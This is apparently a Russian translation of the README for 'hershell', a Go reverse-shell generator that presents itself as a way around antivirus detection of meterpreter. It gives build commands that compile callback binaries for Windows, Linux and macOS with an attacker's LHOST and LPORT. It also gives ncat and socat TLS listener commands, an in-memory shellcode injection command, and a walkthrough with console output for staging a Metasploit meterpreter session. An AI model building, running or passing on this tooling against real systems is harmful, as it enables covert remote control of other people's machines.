
Мультиплатформенный генератор реверс-шеллов
Простой TCP reverse shell, написанный на Go.
Он использует TLS для защиты связи и предоставляет функцию привязки отпечатка открытого ключа сертификата, предотвращая перехват трафика.
Поддерживаемые ОС:
Хотя полезные нагрузки meterpreter отличны, они иногда обнаруживаются антивирусными продуктами.
Цель этого проекта — получить простой reverse shell, который может работать на нескольких системах.
Поскольку он написан на Go, вы можете кросскомпилировать исходный код для нужной архитектуры.
Так как это проект на Go, вам нужно следовать официальной документации для настройки среды Golang (с переменной окружения $GOPATH).
Затем просто выполните go get github.com/lesnuages/hershell, чтобы получить проект.
Для упрощения вы можете использовать предоставленный Makefile. Вы можете задать следующие переменные окружения:
GOOS : целевая ОСGOARCH : целевая архитектураLHOST : IP атакующего или доменное имяLPORT : порт прослушиванияДля переменных GOOS и GOARCH допустимые значения можно получить здесь.
Однако в Makefile доступны некоторые вспомогательные цели:
depends : сгенерировать сертификат сервера (требуется для reverse shell)windows32 : создает исполняемый файл для Windows 32 бит (PE 32 бит)windows64 : создает исполняемый файл для Windows 64 бит (PE 64 бит)linux32 : создает исполняемый файл для Linux 32 бит (ELF 32 бит)linux64 : создает исполняемый файл для Linux 64 бит (ELF 64 бит)macos32 : создает исполняемый файл для Mac OS 32 бит (Mach-O)macos64 : создает исполняемый файл для Mac OS 64 бит (Mach-O)Для этих целей вам нужно только задать переменные окружения LHOST и LPORT.
После запуска вы получите удаленную оболочку.
Эта пользовательская интерактивная оболочка позволит вам выполнять системные команды через cmd.exe на Windows или /bin/sh на UNIX-машинах.
Поддерживаются следующие специальные команды:
run_shell : предоставляет вам системную оболочку (позволяет, например, переходить между каталогами)inject <base64 shellcode> : внедряет shellcode (в кодировке base64) в память того же процесса и выполняет егоmeterpreter [tcp|http|https] IP:PORT : подключается к multi/handler для получения stage2 reverse tcp, http или https meterpreter из metasploit и выполняет shellcode в памяти (пока только для Windows)exit : завершить работу корректноПрежде всего, вам нужно сгенерировать действительный сертификат:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Для Windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Для Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Для Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
Можно использовать различные инструменты для обработки входящих подключений, такие как:
python/shell_reverse_tcp_ssl)Вот пример с ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Вот пример с socat (протестировано с версией 1.7.3.2):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
ВНИМАНИЕ: на данный момент это работает только на платформе Windows.
Подготовка meterpreter в настоящее время поддерживает следующие полезные нагрузки:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsЧтобы использовать правильную, просто укажите транспорт, который вы хотите использовать (tcp, http, https)
Чтобы использовать функцию подготовки meterpreter, просто запустите ваш handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Затем в hershell используйте команду meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Новая сессия meterpreter должна появиться в msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
ID Имя Тип Информация Подключение
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x за функцию Dockerfile